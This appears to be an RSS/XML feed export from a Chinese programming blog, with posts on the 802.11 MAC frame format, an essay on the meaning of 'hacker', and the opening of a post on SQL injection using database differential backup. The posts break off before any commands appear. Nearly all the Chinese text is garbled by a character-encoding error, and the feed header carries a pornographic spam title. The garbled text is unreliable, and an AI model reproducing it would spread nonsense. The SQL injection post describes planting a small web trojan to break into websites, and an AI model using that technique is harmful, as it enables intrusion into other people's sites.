锘??xml version="1.0" encoding="utf-8" standalone="yes"?>艳妇臀荡乳欲伦亚洲一区,亚洲精品欧美一区二区三区,一区二区日韩精品http://www.shnenglu.com/ay19880703/category/9056.htmlzh-cnSat, 19 Jan 2013 19:00:27 GMTSat, 19 Jan 2013 19:00:27 GMT60[瀵煎叆]Wireless Fundamental(2) -- 802.11 MAC澶存牸寮忚В鏋?updating)http://www.shnenglu.com/ay19880703/archive/2011/03/05/155083.html__ay__aySat, 05 Mar 2011 08:55:00 GMThttp://www.shnenglu.com/ay19880703/archive/2011/03/05/155083.htmlhttp://www.shnenglu.com/ay19880703/comments/155083.htmlhttp://www.shnenglu.com/ay19880703/archive/2011/03/05/155083.html#Feedback0http://www.shnenglu.com/ay19880703/comments/commentRss/155083.htmlhttp://www.shnenglu.com/ay19880703/services/trackbacks/155083.html 

浣滆咃細(xì)__ay 

 


鍦ㄤ笂涓綃囦腑錛岀畝瑕佹榪頒簡(jiǎn)鏃犵嚎緗戠粶鐨勯氫俊鏈哄埗錛岄偅涔堝湪涓嬫潵灝卞緱寮濮嬩粙緇嶄竴涓嬫棤綰跨綉緇滅殑閫氫俊緇嗚妭浜?jiǎn)銆傝鍒拌繖閲岋紝浠ュ悗鎵璇寸殑鍐呭浼?xì)鏈夈?02.11 鏃犵嚎緗戠粶鏉冨▉鎸囧崡 絎簩鐗堝獎(jiǎng)鍗扮増銆嬭繖鏈功鍐呭鐨勫獎(jiǎng)瀛愶紝榪樻湁鍐呭涓細(xì)鍔犱笂閫氳繃wireshark鎶撳寘鐨勫垎鏋愪互鍙?qiáng)IEEE鍏充簬wlan 80211鍗忚鐨勮鏄庢枃妗c傝櫧鐒惰榪欐湰涔﹁櫧鐒惰寰楀ソ錛屼絾鏄緢澶氭暟鎹寘緇嗚妭涓婄殑闂榪樻槸闇瑕佹垜浠翰鎵嬪幓鍋氬疄楠屽幓楠岃瘉鐨勶紝涓鍚戣涓哄涔?fàn)涓嶈兘浠呬粎鐪嬩功锛屼翰鎵嬪幓楠岃瘉涓浜涗綘璁や負(fù)鐤戞儜鐨勫湴鏂瑰彲鑳戒細(xì)姣斿仛鍑犻亾璇懼悗棰樼殑鏁堟灉瑕佸ソ寰楀寰楀 ^_^


1 MAC802.11鏁版嵁甯ф牸寮?/span>

棣栧厛瑕佽鏄庣殑鏄痬ac802.11鐨勫撫鏍煎紡寰堢壒鍒紝瀹冧笌TCP/IP榪欎竴綾誨崗璁笉鍚岋紝瀹冪殑闀垮害鏄彲鍙樼殑銆備笉鍚屽姛鑳界殑鏁版嵁甯ч暱搴︿細(xì)涓嶄竴鏍楓傝繖涓鐗規(guī)ц鏄巑ac802.11鏁版嵁甯ф樉寰楁洿鍔犵伒媧伙紝鐒惰岋紝涔熶細(xì)鏇村姞澶嶆潅銆俶ac 802.11鐨勬暟鎹撫闀垮害涓嶅畾涓昏鏄敱浜庝互涓嬪嚑鐐瑰喅瀹氱殑


1.1 mac鍦板潃鏁扮洰涓嶅畾錛屾牴鎹撫綾誨瀷涓嶅悓錛宮ac 802.11鐨刴ac鍦板潃鏁頒細(xì)涓嶄竴鏍楓傛瘮濡傝 ACK甯т粎鏈変竴涓猰ac鍦板潃錛岃屾暟鎹撫鏈?涓猰ac鍦板潃錛屽湪WDS妯″紡錛堜笅闈㈣鎻愬埌錛変笅錛屽撫澶寸珶鐒舵湁4涓猰ac鍦板潃銆?/span>


1.2 802.11鐨勭鐞嗗撫鎵鎼哄甫鐨勪俊鎭暱搴︿笉瀹氾紝鍦ㄧ鐞嗗撫涓紝涓嶄粎浠呭彧鏈変竴浜涚被浼間簬mac鍦板潃錛屽垎鐗囨爣蹇椾箣綾葷殑榪欎簺淇℃伅錛岃屼笖鍙﹀榪樹細(xì)鍖呮嫭涓浜涘叾瀹冪殑淇℃伅錛岃繖浜涗俊鎭湁鍏充簬瀹夊叏璁劇疆鐨勶紝鏈夊叧浜庣墿鐞嗛氫俊鐨勶紝姣斿璇存垜浠殑SSID鍚嶇О灝辨槸閫氳繃綆$悊甯ц幏寰楃殑銆侫P浼?xì)鏍规嵁涓嶅悓鐨勬儏鍐靛彂閫佸寘鍚湁涓嶅悓淇℃伅鐨勭鐞嗗撫銆傜鐞嗗撫鐨勭粏鑺傞棶棰樻垜浠細(xì)鍦ㄥ悗闈㈢殑鏂囩珷涓璁猴紝榪欓噷鏆傛椂璺寵繃銆?/span>


1.3 鍔犲瘑錛坵ep,wpa絳夛級(jí)淇℃伅錛孮OS錛坬uality of service錛変俊鎭紝鑻ユ湁鍔犲瘑鐨勬暟鎹撫鏍煎紡鍜屾病鏈夊姞瀵嗙殑鏁版嵁甯ф牸寮忚繕涓嶄竴鏍鳳紝鍔犲瘑鏁版嵁甯ф牸寮忚繕澶氫簡(jiǎn)涓姞瀵嗗ご錛岀敤浜庤В瀵嗙敤銆傜劧鍒橯OS涔熸槸鍚屾牱閬撶悊銆?/span>


绔熺劧mac 802.11鏁版嵁甯ч偅涔堝鏉傦紝鎴戜滑灝卞厛浠庨氱敤鐨勬牸寮忓紑濮嬭鍚?/span>



甯ф帶鍒?2 bytes)錛?/span>

鐢ㄤ簬鎸囩ず鏁版嵁甯х殑綾誨瀷錛屾槸鍚﹀垎鐗囩瓑絳変俊鎭紝璇寸櫧浜?jiǎn)锛寴q欎釜瀛楁灝辨槸璁板綍浜?jiǎn)mac 802.11鐨勫睘鎬с?/span>

    *Protocol version錛氳〃鏄庣増鏈被鍨嬶紝鐜板湪鎵鏈夊撫閲岄潰榪欎釜瀛楁閮芥槸0x00

    *Type錛氭寚鏄庢暟鎹撫綾誨瀷錛屾槸綆$悊甯э紝鏁版嵁甯ц繕鏄帶鍒跺撫

    *Subtype錛氭寚鏄庢暟鎹撫鐨勫瓙綾誨瀷錛屽洜涓哄氨綆楁槸鎺у埗甯э紝鎺у埗甯ц繕鍒哛TS甯э紝CTS甯э紝ACK甯х瓑絳夛紝閫氳繃榪欎釜鍩熷垽鏂嚭璇ユ暟鎹撫鐨勫叿浣撶被鍨?/span>

    *To DS/From DS錛氳繖涓や釜鏁版嵁甯ц〃鏄庢暟鎹寘鐨勫彂閫佹柟鍚戯紝鍒嗗洓縐嶅彲鑳芥儏鍐佃璁?/span>

        **鑻ユ暟鎹寘To DS涓?錛孎rom DS涓?錛岃〃鏄庤鏁版嵁鍖呭湪緗戠粶涓繪満闂翠紶杈?/span>

 

        **鑻ユ暟鎹寘To DS涓?錛孎rom DS涓?錛岃〃鏄庤鏁版嵁甯ф潵鑷狝P

        **鑻ユ暟鎹寘To DS涓?錛孎rom DS涓?錛岃〃鏄庤鏁版嵁甯у彂閫佸線AP

        **鑻ユ暟鎹寘To DS涓?錛孎rom DS涓?錛岃〃鏄庤鏁版嵁甯ф槸浠嶢P鍙戦佽嚜AP鐨勶紝涔熷氨鏄榪欎釜鏄釜WDS(Wireless Distribution System)鏁版嵁甯э紝鑷充簬浠涔堟槸WDS錛屽彲浠ュ弬鑰冧笅榪欓噷鐨勪粙緇?#浼犻侀棬

    *Moreflag錛氬垎鐗囨爣蹇楋紝鑻ユ暟鎹撫琚垎鐗囦簡(jiǎn)錛岄偅涔堣繖涓爣蹇椾負(fù)1錛屽惁鍒欎負(fù)0

    *Retry錛氳〃鏄庢槸鍚︽槸閲嶅彂鐨勫撫錛岃嫢鏄負(fù)1錛屼笉鏄負(fù)0

    *PowerManage錛氬綋緗戠粶涓繪満澶勪簬鐪佺數(shù)妯″紡鏃訛紝璇ユ爣蹇椾負(fù)1錛屽惁鍒欎負(fù)0.

    *Moredata錛氬綋AP緙撳瓨浜?jiǎn)澶勪簬鐪佺攭|ā寮忎笅鐨勭綉緇滀富鏈虹殑鏁版嵁鍖呮椂錛孉P緇欒鐪佺數(shù)妯″紡涓嬬殑緗戠粶涓繪満鐨勬暟鎹撫涓浣嶄負(fù)1錛屽惁鍒欎負(fù)0

    *Wep錛氬姞瀵嗘爣蹇楋紝鑻ヤ負(fù)1琛ㄧず鏁版嵁鍐呭鍔犲瘑錛屽惁鍒欎負(fù)0

    *Order 榪欎釜琛ㄧず鐢ㄤ簬PCF妯″紡涓嬶紝榪欓噷涓嶄簣璁ㄨ


鐢熷瓨鍛ㄦ湡/Associate ID (2 bytes):

鍏堝墠涓嶆槸璁茶繃铏氭嫙杞芥嘗鐩戝惉鐨勪竴涓満鍒朵箞錛屼粬鐨凬etwork Allocation Vector錛圢AV錛夊氨瀛樺湪榪欓噷錛岃繖閲屽彨duration錛屽嵆鐢熷瓨鍛ㄦ湡銆傚綋鐒朵笉鏄墍鏈夋椂鍊欒繖涓瓧孌靛瓨鏀劇殑NAV鍊箋傚湪鐗瑰畾綾誨瀷鏁版嵁甯т腑錛屽畠涔熷彲鑳借〃紺篈ssociate ID銆備竴鏃︽湁涓繪満鍏寵仈鍒癆P浜?jiǎn)锛孉P閮戒細(xì)涓轟富鏈哄垎閰嶄竴涓狝ssociate ID銆傛瘮濡傚湪緗戠粶涓繪満閫氱煡AP鑷繁瑕佽繘鍏ョ渷鐢墊ā寮忥紙power saving錛夌殑鏃跺欙紝緗戠粶涓繪満鍙戠粰AP鐨勯氱煡鏁版嵁甯ч噷闈紝榪欎釜鍩熷氨琛ㄧず鐨勬槸Associate ID鑰屼笉鏄疦AV浜?jiǎn)銆傚綋鐒惰繕鍙互閫氳繃鏈楂樹綅鏉ュ垽鏂繖涓煙鐨勫惈涔夛細(xì)

    *鍦?5bit涓?鐨勬椂鍊欙紝璇ュ煙琛ㄧずduration

    *鍦?5bit涓?錛?4bit涓?鐨勬椂鍊欙紝琛ㄧずAssociate ID銆?/span>


搴忓垪鎺у埗(2 bytes錛? bits/12 bits)錛氳繖涓煙鍒?閮ㄥ垎錛屼竴涓槸鍒嗙墖搴忓垪鍙峰拰鏍囪瘑甯у垪鍙楓傚垎鐗囧簭鍒楀彿灝辨槸璁板綍鍒嗙墖搴忓彿鐨勩傛瘮濡備竴涓撫A琚垎鐗囨垚a1錛宎2錛宎3錛岄偅涔坅1錛宎2錛宎3榪欎笁涓垎鐗囧撫鐨勫垎鐗囧簭鍒楀垎鍒槸0,1,2銆傝繖涓拰IP鍒嗘鍘熺悊涓鏍風(fēng)殑錛岃鍩熷崰4涓瘮鐗逛綅銆傚墿涓嬬殑12涓瘮鐗逛綅灝辯敤浜庢爣璇嗗撫鐨勫簭鍙鳳紝榪欎釜璺烮P澶撮噷闈㈢殑搴忓垪鍙蜂竴鏍楓?/span>


MAC鍦板潃 1-4 

榪欏洓涓湴鍧鍦ㄤ笉鍚屽撫涓湁涓嶅悓鍚箟銆傝繖浜涗互鍚庝細(xì)璁ㄨ銆?/span>

浠ュ悗鎴戜滑鍙兘浼?xì)纰板堫C互涓嬬被鍨嬬殑mac鍦板潃

RA(receiver address)錛氭棤綰跨綉緇滀腑錛岃鏁版嵁甯х殑鎺ユ敹鑰?/span>

TA(transmitter address)錛氭棤綰跨綉緇滀腑錛岃鏁版嵁甯х殑鍙戦佽?/span>

BSSID(Basic Service Set ID)錛氬湪infrastructure BBS涓紝BSSID灝辨槸AP鐨刴ac鍦板潃銆備絾鏄湪IBBS涓紝瀹冩槸涓涓殢鏈哄嵆鐢熸垚鐨?6浣嶄簩榪涘埗搴忓垪錛岃繕鏈夋渶楂樹袱浣嶅垎鍒槸Universal/Local鏍囧織浣嶅拰Individual/Group鏍囧織浣嶃侷BBS鐨凚SSID涓紝Universal/Local鏍囧織浣嶄負(fù)1錛岃〃紺烘湰鍦癕AC錛孖ndividual/Group鏍囧織浣嶄負(fù)0錛岃〃紺烘槸涓漢MAC銆備篃灝辨槸璇村湪IBBS涓紝BSSID鍦板潃搴旇綾誨 10xxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx錛坸琛ㄧず闅忔満鏁拌涔?瑕佷箞1, 2榪涘埗琛ㄧず錛?/span>

DA(destine address)錛氳甯х殑鐩殑mac鍦板潃

SA(source address)錛氳甯х殑婧恗ac鍦板潃

榪欓噷鐨凞A鍜孲A鍚箟鍜屾櫘閫氫互澶綉涓殑鍚箟涓鏍鳳紝鍦ㄦ棤綰跨綉緇滀腑鍙兘鎴戜滑闇瑕侀氳繃AP鎶婃暟鎹彂閫佸埌鍏跺畠緗戠粶鍐呯殑鏌愬彴涓繪満涓備絾鏄湁鐨勪漢浼?xì)濂囨紝鐩存帴鍦≧A涓~榪欏彴涓繪満鐨刴ac鍦板潃涓嶅氨涔呭ソ浜?jiǎn)涔堛備絾鏄娉ㄦ剰RA鐨勫惈涔夛紝璇寸殑鏄棤綰跨綉緇滀腑鐨勬帴鏀惰咃紝涓嶆槸緗戠粶涓殑鎺ユ敹鑰咃紝涔熷氨鏄榪欏彴鐩殑涓繪満涓嶅啀鏃犵嚎緗戠粶鑼冨洿鍐呫傚湪榪欑鎯呭喌涓嬫垜浠殑RA鍙槸涓涓腑杞紝鎵浠ラ渶瑕佸鍑轟竴涓狣A瀛楁鏉ユ寚鏄庤甯х殑鏈緇堢洰鐨勫湴錛屽綋鐒?dòng)灱屽鏋滄湁浜?jiǎn)DA閭e繀欏繪湁SA錛屽洜涓鴻嫢鐩殑涓繪満瑕佸洖搴旂殑璇濓紝SA瀛楁鏄繀涓嶅彲灝戠殑銆?鍋囪娌℃湁SA瀛楁錛岄偅涔堢洰鐨勪富鏈哄洖搴旂殑鏁版嵁鍖呭氨鍙兘鍙戦佸埌婧愪富鏈烘墍灞炵殑AP涓婁簡(jiǎn)~)


鏈鍏稿瀷鐨勪竴涓緥瀛愬氨鏄湪WDS妯″紡涓嬶紝鏁版嵁甯т細(xì)鏈?涓湴鍧錛孯A錛孴A琛ㄧず鎺ユ敹绔拰鍙戦佺錛岃繖涓や釜鍦板潃鐢ㄤ簬鏃犵嚎浼犺緭鐨勬椂鍊欍傝繕鏈?涓湴鍧鏄疍A鍜孲A錛屽垎鍒窡浠ュお緗戜腑涓鏍瘋〃紺烘簮鍦板潃鍜岀洰鐨勫湴鍧銆俉DS甯х殑鏍煎紡濡備笅鍥撅細(xì)


鎵撲釜姣旀柟璇達(dá)紝AP1鏈変富鏈篈錛孉P2鏈変富鏈築銆傚鏋淎瑕佸拰B鍚屽錛岄偅涔圓浼?xì)棣栧厛鍙戦佹暟鎹撫緇橝P1錛岀劧鍚?/span>AP1鍙戦佸撫緇橝P2 銆傝繖涓椂鍊欏撫閲岄潰浼?xì)鏈?涓湴鍧錛屽垎鍒槸RA=mac(AP2)錛孴A=mac(AP1)錛孌A=mac(B)錛孲A=mac(A)銆?/span>




__ay 2011-03-05 16:55 鍙戣〃璇勮
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[鐏屾按]涓嶅仛榛戝 http://www.shnenglu.com/ay19880703/archive/2009/02/08/73186.html__ay__aySat, 07 Feb 2009 16:02:00 GMThttp://www.shnenglu.com/ay19880703/archive/2009/02/08/73186.htmlhttp://www.shnenglu.com/ay19880703/comments/73186.htmlhttp://www.shnenglu.com/ay19880703/archive/2009/02/08/73186.html#Feedback0http://www.shnenglu.com/ay19880703/comments/commentRss/73186.htmlhttp://www.shnenglu.com/ay19880703/services/trackbacks/73186.html 淇℃伅鏉ユ簮錛氶偑鎭跺叓榪涘埗淇℃伅瀹夊叏鍥㈤槦錛?a target="_blank">www.eviloctal.com錛?br />
聽(tīng) 聽(tīng)鏌愪漢鏈榪戝緢閮侀椃錛屼粬鏈潵鐨勮佷笀浜轟笉鐪嬪ソ浠栫殑鍓嶆櫙錛屼粬涔熻寰楀緢闅懼榪欎綅鑰佷漢瑙i噴鑷繁鐨勮亴涓氾紝璇寸殑濂藉惉鐐規(guī)槸瀹夊叏鐮旂┒鍛橈紝浣嗗湪鍦堝瓙閲屽ぇ瀹墮兘鎶婃垜浠彨榛戝銆傞粦 瀹紝浠栬佷笀浜轟竴鍚氨寮濮嬫憞澶翠簡(jiǎn)錛屾槸鍟婏紝鏈榪戦粦瀹㈡柊闂繪鐨勬尯澶氱殑錛岃繖涓嶈繕璧朵笂鏌愬湴榛戝紿濈偣琚鏂規(guī)崳姣佺殑澶т簨鍚楋紵浣犺繖涓嶆槸騫茶繚娉曠姱緗殑鍕懼悧錛屽眳鐒朵篃鎯蟲潵鏄庡獟姝? 濞舵垜鐨勫コ鍎匡紝娌¢棬銆?br />
聽(tīng) 聽(tīng) hacker榪欒瘝錛屼粠鍥藉鏉ョ殑錛岀粡榪囪繖涔堝騫寸殑鍙樺寲錛岀湡鐨勪篃寰堥毦璇存竻妤氫粬鐪熸鐨勫惈涔変簡(jiǎn)錛屾湁浜鴻鍑枃鏄粦瀹紝鏈変漢璇村彶榪枃鏄粦瀹紝榪樻湁浜鴻姣斿皵鍙斿彅鏄粦瀹紝 鏈榪戣繕鏈夋嵁璇存槸鍥藉唴榛戝鍦堥噷鐨勯《綰т漢鐗╁彂琛ㄦ暀瀛﹁璇濊闆烽攱鍙斿彅涔熸槸榛戝鐨勶紝浠ヨ嚦浜庡埌鐜板湪鎴戦兘鎬鐤戯紝鍥藉唴鐨勮繖涔堝榛戝鏁㈡儏閮芥槸鍦ㄥ搷搴斿彿鍙闆峰嘲鍟娿?br />
聽(tīng) 聽(tīng) 涓嶈繃鎴戝ぇ姒傜煡閬撴垜浠縐板懠涓洪粦瀹㈢殑鍘熷洜錛屽洜涓烘垜浠槸鍊懼悜浜庣爺絀舵敾鍑?yán)L妧鏈爺絀剁殑鎶鏈漢鍛樸傚緢涔呬互鍓嶏紝鐮旂┒鏀誨嚮鎶鏈槸琚瑙勭殑瀹夊叏鐮旂┒鍦堝瓙鎵涓嶉嬌鐨勶紝姝h鐨勫畨 鍏ㄧ爺絀跺彧鐑績(jī)浜庣爺絀墮槻鎶ょ殑鎶鏈紝濡傚瘑鐮佷繚鎶ゆ妧鏈紝瀹夊叏浣撶郴緇撴瀯絳夛紝浜庢槸鐖卞ソ鐮旂┒鏀誨嚮鎶鏈殑鎶鏈爺絀朵漢鍛樺氨琚涓哄紓綾?鎺掓枼鍦ㄥ畨鍏ㄧ爺絀剁殑浣撳埗涔嬪錛屼粬浠彧鑳? 浠ラ粦瀹㈢殑韜喚錛岄氳繃鑷繁鍦ㄦ敾鍑?yán)L妧鏈笂鐮旂┒鐨勬垚鏋滐紝鍚戦偅浜涙瑙勭殑瀹夊叏鐮旂┒鍦堝瓙璇佹槑錛屽畨鍏ㄩ槻鎶や笌鏀誨嚮姘歌繙閮芥槸涓瀵圭煕鐩句綋錛屼笉鐮旂┒鏀誨嚮鎶鏈彧鍗曠函鐨勭爺絀墮槻鎶ゆ妧 鏈紝鏀誨嚮鎶鏈昏兘鎵懼埌楗跺紑闃叉姢鎶鏈殑鏂規(guī)硶鍘葷獊鐮淬傚埌鐜板湪錛屾敾鍑?yán)L妧鏈殑鐮旂┒涔熻秺鏉ヨ秺琚瑙勭殑瀹夊叏鍏徃鎵閲嶈錛屽嵆浣挎槸寰蔣榪欐牱鐨勮蔣浠跺法澶達(dá)紝涔熸壙璁や簡(jiǎn)鏀誨嚮鎶鏈殑 鐮旂┒鐨勫湴浣嶏紝姣忓勾涓懼姙钃濆附浼?xì)璁Q屽嚭閽遍個(gè)璇瘋繖浜涘鏀誨嚮鎶鏈湁鐮旂┒鐨勬妧鏈漢鍛樻潵緇欏井杞笂鑷蟲昏錛屼笅鍒版櫘閫氱殑寮鍙戜漢鍛樿鏀誨嚮鎶鏈拰瀹夊叏鐨勮銆?br />
聽(tīng) 聽(tīng) 浣嗘槸鍚屾椂錛岄殢鐫鐢?shù)瀛愬晢鍔″拰瓒婃潵瓒婂鐨勪俊鎭氳繃鍜屼緷璧栫綉緇滐紝涔熺粰寰堝浜哄睍紺哄嚭浜?jiǎn)鏀诲嚴(yán)L妧鏈殑鏃犻檺閽遍旓紝鑰屾妧鏈俊鎭殑鎶湶涔熶嬌寰楀叆渚甸渶瑕佷粯鍑虹殑鎶鏈垚鏈秺鏉ヨ秺 浣庯紝浜庢槸鎷跨潃宸ュ叿鍦ㄧ綉緇滀笂鎭舵剰鍏ヤ鏡鍜岃幏寰楅潪娉曟敹鐩婄殑浜鴻秺鏉ヨ秺澶氾紝浠栦滑涔熼《鐫榛戝鐨勫厜鐜紝铏界劧浠栦滑鎴栬瀵瑰伐鍏蜂嬌鐢ㄧ殑鏀誨嚮鎶鏈竴鏃犳墍鐭ワ紝浣嗘槸鍗磋鏂伴椈鍜屽獟浣撳箍 娉涚殑鎶ラ亾涓庢覆鏌擄紝鐢氳嚦鎴愪負(fù)鎹т負(fù)澶╂墠錛岃繘涓姝ュ惛寮曞ソ濂囩殑姘戜紬錛屾児寰楀緢澶氭棤鐭ョ殑瀛╁瓙浠ヤ粬浠負(fù)姒滄牱錛屼簬鏄秺鏉ヨ秺澶氱殑鍙細(xì)鐢ㄥ伐鍏風(fēng)殑鈥滈粦瀹⑩濊癁鐢熶簡(jiǎn)錛屽綋鐒朵竴浜涙湁澶╁垎 鐨勫瀛愭渶鍚庤兘鍦ㄦ敾鍑?yán)L妧鏈笂鏈夋墍鐮旂┒錛屼笉榪囬偅鏃跺欙紝鍚稿紩浠栦滑鐨勬洿澶氱殑鏄粦瀹㈢殑嫻悕涓庡叆渚佃幏鍙栫殑鐜板疄鍒╃泭浜?jiǎn)锛屾妧鏈爺絀跺彧鏄竴涓墜孌佃屽凡銆?br />
聽(tīng) 聽(tīng)聽(tīng)聽(tīng)褰撲緺涔夌殑綺劇宸茬粡娑堝け錛岀洊涓栫殑姝﹀姛涔熷彧鑳芥垚涓洪炲己鏂楃嫚錛屽噷杈變粬浜虹殑宸ュ叿錛屽湪鍙湁鍚嶄笌鍒╃殑姹熸箹閲岋紝渚犲鏃╁凡娑堝け銆傚綋榪芥眰鎶鏈畬緹庝笌綺劇鐨勮嚜鐢辯殑榛戝綺劇錛屽湪鍠у殻鐨勭孩灝橀噷榪峰け錛岃岄粦瀹㈡妧鏈彧娌﹁惤涓烘伓鎰忓叆渚靛拰鑾峰彇闈炴硶鍒╃泭鐨勬墜孌電殑鏃跺欙紝涓栦笂涔熷氨娌℃湁鐪熸鐨勯粦瀹簡(jiǎn)銆?br />
聽(tīng) 聽(tīng) 姹熸箹鍙樹簡(jiǎn)錛屼漢涔熻佷簡(jiǎn)錛屾浘緇忕殑鍙涢嗙殑閭d簺鏀誨嚮鎶鏈爺絀剁殑榛戝鍏堥┍宸蹭笉鑳藉啀鍥為錛岃涓氱殑鍙戝睍涔熶嬌寰楁敾鍑?yán)L妧鏈殑鐮旂┒緇堜簬鑳藉厜鏄庢澶х殑绔嬭凍浜庡畨鍏ㄧ爺絀墮鍩熺殑鏃跺欙紝 鎴栬鏄簲璇ヨ鎴戜滑榪欎簺鎵胯鏀誨嚮鎶鏈爺絀剁殑"榛戝"鍥炲綊鍒頒紶緇熺殑瀹夊叏鎶鏈漢鍛樼殑鏈壊涓婂幓鐨勬椂鍊欎簡(jiǎn)錛岃屼笉鍐嶆槸鎴寸潃涓欏墮粦瀹㈢殑甯藉瓙錛屽拰閭d簺浠婃椂浠g殑榛戝鍘諱簤璁鴻皝 鏄湡姝i粦瀹€?img src ="http://www.shnenglu.com/ay19880703/aggbug/73186.html" width = "1" height = "1" />

__ay 2009-02-08 00:02 鍙戣〃璇勮
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sql娉ㄥ叆涔嬪樊寮傚鍒?/title><link>http://www.shnenglu.com/ay19880703/archive/2008/12/07/68767.html</link><dc:creator>__ay</dc:creator><author>__ay</author><pubDate>Sun, 07 Dec 2008 08:17:00 GMT</pubDate><guid>http://www.shnenglu.com/ay19880703/archive/2008/12/07/68767.html</guid><wfw:comment>http://www.shnenglu.com/ay19880703/comments/68767.html</wfw:comment><comments>http://www.shnenglu.com/ay19880703/archive/2008/12/07/68767.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/ay19880703/comments/commentRss/68767.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/ay19880703/services/trackbacks/68767.html</trackback:ping><description><![CDATA[ <p> <font size="3">聽(tīng)聽(tīng)聽(tīng) 褰撲綘鏈変簡(jiǎn)SQL璇彞鍩烘湰鍔熸椂渚濈劧鐢ㄥ晩D涔嬬被鐨勫伐鍏鋒壂綆$悊鍛樺瘑鐮侊紝緗戠珯鍚庡彴鐨勬椂鍊欐槸涓嶆槸鍗冮亶涓寰嬶紝涓嶈愮儲(chǔ)浜?jiǎn)鍛㈠Q熷懙鍛碉紝褰撴椂鎴戜篃鏄緢涓嶈愮儲(chǔ)浜?jiǎn)锛屾嬁涓壂鎻忓櫒瀵逛竴鍫嗙綉绔欑媯鎵粨鏋滀粈涔堥兘娌℃湁銆備笅闈㈡垜浠潵璇翠釜鎴愬姛鐜囨洿楂橈紝閫傜敤鎬ф洿騫跨殑鏂規(guī)硶錛岄偅灝辨槸浼犺涓殑宸紓澶囧垎</font> </p> <p> <font size="3">聽(tīng)聽(tīng)聽(tīng) 鍏充簬宸紓澶囧垎鎴戞兂宸茬粡鑷悕榪滄磱浜?jiǎn)鍚с備笅闈㈡垜浠厛鏉ョ畝鍗曡涓嬫暟鎹簱鐨勫樊寮傚鍒嗭細(xì)</font> </p> <p> <font size="3">聽(tīng)</font> </p> <p> <font size="3">聽(tīng)聽(tīng)聽(tīng)聽(tīng)</font> <font size="3"> <strong>宸紓澶囦喚鎵鍩轟簬鐨勫父瑙勬暟鎹簱澶囦喚銆侀儴鍒嗗浠芥垨鏂囦歡澶囦喚縐頒負(fù)宸紓鐨勨滃熀鍑嗏?i><!----></i>鎴栤滃樊寮傚熀鍑嗏?i><!----></i>銆備粎澶嶅埗澶囦喚涓嶈兘鐢ㄤ綔宸紓鍩哄噯銆傛枃浠跺樊寮傚浠界殑鍩哄噯澶囦喚鍙互鍖呭惈鍦ㄥ畬鏁村浠姐佹枃浠跺浠芥垨閮ㄥ垎澶囦喚涓傛湁鍏寵緇嗕俊鎭紝璇峰弬闃呭湪</strong> </font> <font size="3"> <strong>綆</strong> </font> <font size="3"> <strong>鍗曟ā寮忎笅鐨勫鍒嗘垨鍦ㄥ畬鏁存ā寮忎笅鐨勫鍒?/strong> </font> <font size="3"> <strong>銆?/strong> </font> </p> <p> <font size="3"> <strong>宸紓澶囦喚鍙褰曡嚜涓婃寤虹珛宸紓鍩哄噯鍚庢洿鏀圭殑鏁版嵁銆傚樊寮傚浠芥瘮宸紓鍩哄噯鏇村皬涓旀洿蹇紝渚夸簬鎵ц棰戠箒澶囦喚錛屼粠鑰岄檷浣庝簡(jiǎn)鏁版嵁涓㈠け鐨勯闄┿?/strong> </font> </p> <p> <font size="3"> <strong>聽(tīng)聽(tīng)聽(tīng) 闄ゅ彧璇繪暟鎹簱涔嬪錛屽叾浠栨暟鎹簱涓瘡涓枃浠剁殑宸紓鍩哄噯淇℃伅鍧囦繚瀛樺湪涓繪枃浠剁粍鐨勪竴涓洰褰曚腑銆傛瘡涓暟鎹簱鐨勫樊寮傚熀鍑嗕俊鎭害瀛樺偍鍦?master 鏁版嵁搴撲腑銆?/strong> </font> </p> <br /> <p> <font size="3">鈥斺斺斺斾互涓婃槸寮曠敤MSDN瀵瑰樊寮傚鍒嗙殑瑙i噴</font> </p> <p> <font size="3">聽(tīng)聽(tīng)聽(tīng) 鎵璋撶殑宸紓澶囧垎錛屽氨鏄彧澶囧垎鏈榪戜竴嬈″鍒嗕箣鍚庡埌姝ゆ澶囧垎涔嬪墠鎵澧炲姞鐨勯偅涓閮ㄥ垎鏁版嵁銆傛墦涓瘮鏂規(guī)垜絎琋嬈″鍒嗗悗鏁版嵁搴撳瓨鏀劇殑鍐呭鏄疉BCD錛岀劧鍚庢垜絎琋+1嬈? 澶囧垎鐨勬椂鍊欎嬌鐢ㄥ樊寮傚鍒嗭紝姝ゆ椂鏁版嵁搴撶殑瀛樻斁鐨勫唴瀹規(guī)槸ABCDEFG銆傞偅涔堟垜宸紓澶囧垎鐨勭粨鏋滃氨鏄疎FG錛屽彧澶囧垎澧炲姞閲忋傞兘鏄庣櫧浜?jiǎn)鎴戜滑灏卞紑濮嬭鐐規(guī)湁鐢ㄧ殑涓滆タ 鍟︼紝鍢垮樋~~涓轟粈涔堣鐢ㄥ樊寮傚鍒嗗憿錛熷洜涓鴻妯$偣鐨勭綉绔欐暟鎹簱涓鑸湁鍑犲崄M鐢氳嚦錛岄偅涔堜綘澶囧垎鍑烘潵鐨勬暟鎹氨鏈夊嚑鍗丮錛岀劧鍚庝綘浠嶹EB涓婃墦寮涓嚑鍗丮鍐呭鏂囦歡鐨? 璇濃︹︿及璁¤寰堜箙鍚с傝繖涔堝叆渚電殑璇濇垜瑙夊緱浣犺繕鏄洿鎺ユ嬁鍒鎵劇綉綆¤浠栨妸鍚庡彴瀵嗙爜緇欎綘濂戒簡(jiǎn)銆傚啀鑰呮垜浠鍒嗙殑涓鍙ヨ瘽鏈ㄩ┈浼?xì)鍙楀埌濯?jiǎng)鍝嶏紝濡傛灉鏁版嵁搴撲腑瀛樺湪銆婃垨鑰?涔? 綾葷殑瀛楃鐨勮瘽銆傚彲鑳藉鑷存垜浠皬椹棤娉曡闂傝繕鏈夊氨鏄鍒嗛偅涔堝ぇ鐨勬暟鎹簱鍙兘浼?xì)瀵艰嚧鑴氭湰鎿嶄綔瓒呮椨灱屾墍浠ユ垜浠緱灝介噺鍑忓皯鎴戜滑澶囧垎鍑烘潵鐨勬暟鎹簱鐨勫ぇ灝忋備負(fù)浠涔堝 鍒嗘暟鎹簱灝卞彲浠ュ叆渚電綉绔欎簡(jiǎn)鍛⑩︹︽垜浠線涓嬭煩</font> </p> <br /> <p> <font size="3">鎴戜笉鏄垎鍓茬嚎</font> </p> <p> <font size="3">________________________________________________________</font> </p> <br /> <p> <font size="3">聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 